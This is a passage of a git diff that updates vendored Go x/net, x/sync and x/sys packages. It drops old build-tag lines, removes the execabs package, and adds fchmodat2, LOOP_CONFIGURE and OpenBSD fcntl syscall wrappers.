//go:build darwin || dragonfly || freebsd || netbsd || openbsd -// +build darwin dragonfly freebsd netbsd openbsd package route diff --git a/vendor/golang.org/x/net/route/route.go b/vendor/golang.org/x/net/route/route.go index 3ab5bcdc01..ca2ce2b887 100644 --- a/vendor/golang.org/x/net/route/route.go +++ b/vendor/golang.org/x/net/route/route.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd || netbsd || openbsd -// +build darwin dragonfly freebsd netbsd openbsd // Package route provides basic functions for the manipulation of // packet routing facilities on BSD variants. diff --git a/vendor/golang.org/x/net/route/route_classic.go b/vendor/golang.org/x/net/route/route_classic.go index d6ee42f1b1..e273fe39ab 100644 --- a/vendor/golang.org/x/net/route/route_classic.go +++ b/vendor/golang.org/x/net/route/route_classic.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd || netbsd -// +build darwin dragonfly freebsd netbsd package route diff --git a/vendor/golang.org/x/net/route/sys.go b/vendor/golang.org/x/net/route/sys.go index 7c75574f18..fcebee58ec 100644 --- a/vendor/golang.org/x/net/route/sys.go +++ b/vendor/golang.org/x/net/route/sys.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd || netbsd || openbsd -// +build darwin dragonfly freebsd netbsd openbsd package route diff --git a/vendor/golang.org/x/net/route/syscall.go b/vendor/golang.org/x/net/route/syscall.go index 68d37c9621..0ed53750a2 100644 --- a/vendor/golang.org/x/net/route/syscall.go +++ b/vendor/golang.org/x/net/route/syscall.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd || netbsd || openbsd -// +build darwin dragonfly freebsd netbsd openbsd package route diff --git a/vendor/golang.org/x/sync/errgroup/go120.go b/vendor/golang.org/x/sync/errgroup/go120.go index 7d419d3760..f93c740b63 100644 --- a/vendor/golang.org/x/sync/errgroup/go120.go +++ b/vendor/golang.org/x/sync/errgroup/go120.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build go1.20 -// +build go1.20 package errgroup diff --git a/vendor/golang.org/x/sync/errgroup/pre_go120.go b/vendor/golang.org/x/sync/errgroup/pre_go120.go index 1795c18ace..88ce33434e 100644 --- a/vendor/golang.org/x/sync/errgroup/pre_go120.go +++ b/vendor/golang.org/x/sync/errgroup/pre_go120.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !go1.20 -// +build !go1.20 package errgroup diff --git a/vendor/golang.org/x/sys/execabs/execabs.go b/vendor/golang.org/x/sys/execabs/execabs.go deleted file mode 100644 index 3bf40fdfec..0000000000 --- a/vendor/golang.org/x/sys/execabs/execabs.go +++ /dev/null @@ -1,102 +0,0 @@ -// Copyright 2020 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package execabs is a drop-in replacement for os/exec -// that requires PATH lookups to find absolute paths. -// That is, execabs.Command("cmd") runs the same PATH lookup -// as exec.Command("cmd"), but if the result is a path -// which is relative, the Run and Start methods will report -// an error instead of running the executable. -// -// See https://blog.golang.org/path-security for more information -// about when it may be necessary or appropriate to use this package. -package execabs - -import ( - "context" - "fmt" - "os/exec" - "path/filepath" - "reflect" - "unsafe" -) - -// ErrNotFound is the error resulting if a path search failed to find an executable file. -// It is an alias for exec.ErrNotFound. -var ErrNotFound = exec.ErrNotFound - -// Cmd represents an external command being prepared or run. -// It is an alias for exec.Cmd. -type Cmd = exec.Cmd - -// Error is returned by LookPath when it fails to classify a file as an executable. -// It is an alias for exec.Error. -type Error = exec.Error - -// An ExitError reports an unsuccessful exit by a command. -// It is an alias for exec.ExitError. -type ExitError = exec.ExitError - -func relError(file, path string) error { - return fmt.Errorf("%s resolves to executable in current directory (.%c%s)", file, filepath.Separator, path) -} - -// LookPath searches for an executable named file in the directories -// named by the PATH environment variable. If file contains a slash, -// it is tried directly and the PATH is not consulted. The result will be -// an absolute path. -// -// LookPath differs from exec.LookPath in its handling of PATH lookups, -// which are used for file names without slashes. If exec.LookPath's -// PATH lookup would have returned an executable from the current directory, -// LookPath instead returns an error. -func LookPath(file string) (string, error) { - path, err := exec.LookPath(file) - if err != nil && !isGo119ErrDot(err) { - return "", err - } - if filepath.Base(file) == file && !filepath.IsAbs(path) { - return "", relError(file, path) - } - return path, nil -} - -func fixCmd(name string, cmd *exec.Cmd) { - if filepath.Base(name) == name && !filepath.IsAbs(cmd.Path) && !isGo119ErrFieldSet(cmd) { - // exec.Command was called with a bare binary name and - // exec.LookPath returned a path which is not absolute. - // Set cmd.lookPathErr and clear cmd.Path so that it - // cannot be run. - lookPathErr := (*error)(unsafe.Pointer(reflect.ValueOf(cmd).Elem().FieldByName("lookPathErr").Addr().Pointer())) - if *lookPathErr == nil { - *lookPathErr = relError(name, cmd.Path) - } - cmd.Path = "" - } -} - -// CommandContext is like Command but includes a context. -// -// The provided context is used to kill the process (by calling os.Process.Kill) -// if the context becomes done before the command completes on its own. -func CommandContext(ctx context.Context, name string, arg ...string) *exec.Cmd { - cmd := exec.CommandContext(ctx, name, arg...) - fixCmd(name, cmd) - return cmd - -} - -// Command returns the Cmd struct to execute the named program with the given arguments. -// See exec.Command for most details. -// -// Command differs from exec.Command in its handling of PATH lookups, -// which are used when the program name contains no slashes. -// If exec.Command would have returned an exec.Cmd configured to run an -// executable from the current directory, Command instead -// returns an exec.Cmd that will return an error from Start or Run. -func Command(name string, arg ...string) *exec.Cmd { - cmd := exec.Command(name, arg...) - fixCmd(name, cmd) - return cmd -} diff --git a/vendor/golang.org/x/sys/execabs/execabs_go118.go b/vendor/golang.org/x/sys/execabs/execabs_go118.go deleted file mode 100644 index 5627d70e39..0000000000 --- a/vendor/golang.org/x/sys/execabs/execabs_go118.go +++ /dev/null @@ -1,17 +0,0 @@ -// Copyright 2022 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -//go:build !go1.19 - -package execabs - -import "os/exec" - -func isGo119ErrDot(err error) bool { - return false -} - -func isGo119ErrFieldSet(cmd *exec.Cmd) bool { - return false -} diff --git a/vendor/golang.org/x/sys/execabs/execabs_go119.go b/vendor/golang.org/x/sys/execabs/execabs_go119.go deleted file mode 100644 index d60ab1b419..0000000000 --- a/vendor/golang.org/x/sys/execabs/execabs_go119.go +++ /dev/null @@ -1,20 +0,0 @@ -// Copyright 2022 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -//go:build go1.19 - -package execabs - -import ( - "errors" - "os/exec" -) - -func isGo119ErrDot(err error) bool { - return errors.Is(err, exec.ErrDot) -} - -func isGo119ErrFieldSet(cmd *exec.Cmd) bool { - return cmd.Err != nil -} diff --git a/vendor/golang.org/x/sys/unix/fcntl.go b/vendor/golang.org/x/sys/unix/fcntl.go index 58c6bfc70f..6200876fb2 100644 --- a/vendor/golang.org/x/sys/unix/fcntl.go +++ b/vendor/golang.org/x/sys/unix/fcntl.go @@ -2,7 +2,7 @@ // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. -//go:build dragonfly || freebsd || linux || netbsd || openbsd +//go:build dragonfly || freebsd || linux || netbsd package unix diff --git a/vendor/golang.org/x/sys/unix/ioctl_linux.go b/vendor/golang.org/x/sys/unix/ioctl_linux.go index 0d12c0851a..dbe680eab8 100644 --- a/vendor/golang.org/x/sys/unix/ioctl_linux.go +++ b/vendor/golang.org/x/sys/unix/ioctl_linux.go @@ -231,3 +231,8 @@ func IoctlLoopGetStatus64(fd int) (*LoopInfo64, error) { func IoctlLoopSetStatus64(fd int, value *LoopInfo64) error { return ioctlPtr(fd, LOOP_SET_STATUS64, unsafe.Pointer(value)) } + +// IoctlLoopConfigure configures all loop device parameters in a single step +func IoctlLoopConfigure(fd int, value *LoopConfig) error { + return ioctlPtr(fd, LOOP_CONFIGURE, unsafe.Pointer(value)) +} diff --git a/vendor/golang.org/x/sys/unix/mkerrors.sh b/vendor/golang.org/x/sys/unix/mkerrors.sh index cbe24150a7..6202638bae 100644 --- a/vendor/golang.org/x/sys/unix/mkerrors.sh +++ b/vendor/golang.org/x/sys/unix/mkerrors.sh @@ -519,6 +519,7 @@ ccflags="$@" $2 ~ /^LOCK_(SH|EX|NB|UN)$/ || $2 ~ /^LO_(KEY|NAME)_SIZE$/ || $2 ~ /^LOOP_(CLR|CTL|GET|SET)_/ || + $2 == "LOOP_CONFIGURE" || $2 ~ /^(AF|SOCK|SO|SOL|IPPROTO|IP|IPV6|TCP|MCAST|EVFILT|NOTE|SHUT|PROT|MAP|MREMAP|MFD|T?PACKET|MSG|SCM|MCL|DT|MADV|PR|LOCAL|TCPOPT|UDP)_/ || $2 ~ /^NFC_(GENL|PROTO|COMM|RF|SE|DIRECTION|LLCP|SOCKPROTO)_/ || $2 ~ /^NFC_.*_(MAX)?SIZE$/ || @@ -560,7 +561,7 @@ ccflags="$@" $2 ~ /^RLIMIT_(AS|CORE|CPU|DATA|FSIZE|LOCKS|MEMLOCK|MSGQUEUE|NICE|NOFILE|NPROC|RSS|RTPRIO|RTTIME|SIGPENDING|STACK)|RLIM_INFINITY/ || $2 ~ /^PRIO_(PROCESS|PGRP|USER)/ || $2 ~ /^CLONE_[A-Z_]+/ || - $2 !~ /^(BPF_TIMEVAL|BPF_FIB_LOOKUP_[A-Z]+)$/ && + $2 !~ /^(BPF_TIMEVAL|BPF_FIB_LOOKUP_[A-Z]+|BPF_F_LINK)$/ && $2 ~ /^(BPF|DLT)_/ || $2 ~ /^AUDIT_/ || $2 ~ /^(CLOCK|TIMER)_/ || diff --git a/vendor/golang.org/x/sys/unix/syscall_bsd.go b/vendor/golang.org/x/sys/unix/syscall_bsd.go index 6f328e3a55..a00c3e5450 100644 --- a/vendor/golang.org/x/sys/unix/syscall_bsd.go +++ b/vendor/golang.org/x/sys/unix/syscall_bsd.go @@ -316,7 +316,7 @@ func GetsockoptString(fd, level, opt int) (string, error) { if err != nil { return "", err } - return string(buf[:vallen-1]), nil + return ByteSliceToString(buf[:vallen]), nil } //sys recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) diff --git a/vendor/golang.org/x/sys/unix/syscall_linux.go b/vendor/golang.org/x/sys/unix/syscall_linux.go index a5e1c10e34..0f85e29e62 100644 --- a/vendor/golang.org/x/sys/unix/syscall_linux.go +++ b/vendor/golang.org/x/sys/unix/syscall_linux.go @@ -61,15 +61,23 @@ func FanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname string) ( } //sys fchmodat(dirfd int, path string, mode uint32) (err error) - -func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) { - // Linux fchmodat doesn't support the flags parameter. Mimick glibc's behavior - // and check the flags. Otherwise the mode would be applied to the symlink - // destination which is not what the user expects. - if flags&^AT_SYMLINK_NOFOLLOW != 0 { - return EINVAL - } else if flags&AT_SYMLINK_NOFOLLOW != 0 { - return EOPNOTSUPP +//sys fchmodat2(dirfd int, path string, mode uint32, flags int) (err error) + +func Fchmodat(dirfd int, path string, mode uint32, flags int) error { + // Linux fchmodat doesn't support the flags parameter, but fchmodat2 does. + // Try fchmodat2 if flags are specified. + if flags != 0 { + err := fchmodat2(dirfd, path, mode, flags) + if err == ENOSYS { + // fchmodat2 isn't available. If the flags are known to be valid, + // return EOPNOTSUPP to indicate that fchmodat doesn't support them. + if flags&^(AT_SYMLINK_NOFOLLOW|AT_EMPTY_PATH) != 0 { + return EINVAL + } else if flags&(AT_SYMLINK_NOFOLLOW|AT_EMPTY_PATH) != 0 { + return EOPNOTSUPP + } + } + return err } return fchmodat(dirfd, path, mode) } @@ -1302,7 +1310,7 @@ func GetsockoptString(fd, level, opt int) (string, error) { return "", err } } - return string(buf[:vallen-1]), nil + return ByteSliceToString(buf[:vallen]), nil } func GetsockoptTpacketStats(fd, level, opt int) (*TpacketStats, error) { diff --git a/vendor/golang.org/x/sys/unix/syscall_openbsd.go b/vendor/golang.org/x/sys/unix/syscall_openbsd.go index d2882ee04f..b25343c71a 100644 --- a/vendor/golang.org/x/sys/unix/syscall_openbsd.go +++ b/vendor/golang.org/x/sys/unix/syscall_openbsd.go @@ -166,6 +166,20 @@ func Getresgid() (rgid, egid, sgid int) { //sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL +//sys fcntl(fd int, cmd int, arg int) (n int, err error) +//sys fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) = SYS_FCNTL + +// FcntlInt performs a fcntl syscall on fd with the provided command and argument. +func FcntlInt(fd uintptr, cmd, arg int) (int, error) { + return fcntl(int(fd), cmd, arg) +} + +// FcntlFlock performs a fcntl syscall for the F_GETLK, F_SETLK or F_SETLKW command. +func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) error { + _, err := fcntlPtr(int(fd), cmd, unsafe.Pointer(lk)) + return err +} + //sys ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) func Ppoll(fds []PollFd, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { diff --git a/vendor/golang.org/x/sys/unix/syscall_solaris.go b/vendor/golang.org/x/sys/unix/syscall_solaris.go index 60c8142d49..21974af064 100644 --- a/vendor/golang.org/x/sys/unix/syscall_solaris.go +++ b/vendor/golang.org/x/sys/unix/syscall_solaris.go @@ -158,7 +158,7 @@ func GetsockoptString(fd, level, opt int) (string, error) { if err != nil { return "", err } - return string(buf[:vallen-1]), nil + return ByteSliceToString(buf[:vallen]), nil } const ImplementsGetwd = true diff --git a/vendor/golang.org/x/sys/unix/syscall_zos_s390x.go b/vendor/golang.org/x/sys/unix/syscall_zos_s390x.go index d99d05f1bc..b473038c61 100644 --- a/vendor/golang.org/x/sys/unix/syscall_zos_s390x.go +++ b/vendor/golang.org/x/sys/unix/syscall_zos_s390x.go @@ -1104,7 +1104,7 @@ func GetsockoptString(fd, level, opt int) (string, error) { return "", err } - return string(buf[:vallen-1]), nil + return ByteSliceToString(buf[:vallen]), nil } func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) { diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux.go b/vendor/golang.org/x/sys/unix/zerrors_linux.go index 9c00cbf512..c73cfe2f10 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux.go @@ -486,7 +486,6 @@ const ( BPF_F_ANY_ALIGNMENT = 0x2 BPF_F_BEFORE = 0x8 BPF_F_ID = 0x20 - BPF_F_LINK = 0x2000 BPF_F_NETFILTER_IP_DEFRAG = 0x1 BPF_F_QUERY_EFFECTIVE = 0x1 BPF_F_REPLACE = 0x4 @@ -1802,6 +1801,7 @@ const ( LOCK_SH = 0x1 LOCK_UN = 0x8 LOOP_CLR_FD = 0x4c01 + LOOP_CONFIGURE = 0x4c0a LOOP_CTL_ADD = 0x4c80 LOOP_CTL_GET_FREE = 0x4c82 LOOP_CTL_REMOVE = 0x4c81 diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux.go b/vendor/golang.org/x/sys/unix/zsyscall_linux.go index faca7a557b..1488d27128 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_linux.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_linux.go @@ -37,6 +37,21 @@ func fchmodat(dirfd int, path string, mode uint32) (err error) { // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT +func fchmodat2(dirfd int, path string, mode uint32, flags int) (err error) { + var _p0 *byte + _p0, err = BytePtrFromString(path) + if err != nil { + return + } + _, _, e1 := Syscall6(SYS_FCHMODAT2, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + func ioctl(fd int, req uint, arg uintptr) (err error) { _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg)) if e1 != 0 { diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go index 88bfc28857..a1d061597c 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go @@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT +func fcntl(fd int, cmd int, arg int) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +var libc_fcntl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fcntl fcntl "libc.so" + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) n = int(r0) diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.s index 4cbeff171b..41b5617316 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.s +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.s @@ -178,6 +178,11 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0 GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $4 DATA ·libc_sysctl_trampoline_addr(SB)/4, $libc_sysctl_trampoline<>(SB) +TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fcntl(SB) +GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $4 +DATA ·libc_fcntl_trampoline_addr(SB)/4, $libc_fcntl_trampoline<>(SB) + TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0 JMP libc_ppoll(SB) GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $4 diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go index b8a67b99af..5b2a740977 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go @@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT +func fcntl(fd int, cmd int, arg int) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +var libc_fcntl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fcntl fcntl "libc.so" + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) n = int(r0) diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.s index 1123f27571..4019a656f6 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.s +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.s @@ -178,6 +178,11 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0 GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $8 DATA ·libc_sysctl_trampoline_addr(SB)/8, $libc_sysctl_trampoline<>(SB) +TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fcntl(SB) +GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fcntl_trampoline_addr(SB)/8, $libc_fcntl_trampoline<>(SB) + TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0 JMP libc_ppoll(SB) GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $8 diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.go index af50a65c0c..f6eda1344a 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.go @@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT +func fcntl(fd int, cmd int, arg int) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +var libc_fcntl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fcntl fcntl "libc.so" + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) n = int(r0) diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.s index 82badae39f..ac4af24f90 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.s +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.s @@ -178,6 +178,11 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0 GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $4 DATA ·libc_sysctl_trampoline_addr(SB)/4, $libc_sysctl_trampoline<>(SB) +TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fcntl(SB) +GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $4 +DATA ·libc_fcntl_trampoline_addr(SB)/4, $libc_fcntl_trampoline<>(SB) + TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0 JMP libc_ppoll(SB) GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $4 diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go index 8fb4ff36a7..55df20ae9d 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go @@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT +func fcntl(fd int, cmd int, arg int) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +var libc_fcntl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fcntl fcntl "libc.so" + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) n = int(r0) diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.s index 24d7eecb93..f77d532121 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.s +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.s @@ -178,6 +178,11 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0 GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $8 DATA ·libc_sysctl_trampoline_addr(SB)/8, $libc_sysctl_trampoline<>(SB) +TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fcntl(SB) +GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fcntl_trampoline_addr(SB)/8, $libc_fcntl_trampoline<>(SB) + TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0 JMP libc_ppoll(SB) GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $8 diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.go index f469a83ee6..8c1155cbc0 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.go @@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT +func fcntl(fd int, cmd int, arg int) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +var libc_fcntl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fcntl fcntl "libc.so" + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) n = int(r0) diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.s index 9a498a0677..fae140b62c 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.s +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.s @@ -178,6 +178,11 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0 GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $8 DATA ·libc_sysctl_trampoline_addr(SB)/8, $libc_sysctl_trampoline<>(SB) +TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fcntl(SB) +GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fcntl_trampoline_addr(SB)/8, $libc_fcntl_trampoline<>(SB) + TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0 JMP libc_ppoll(SB) GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $8 diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.go index c26ca2e1aa..7cc80c58d9 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.go @@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT +func fcntl(fd 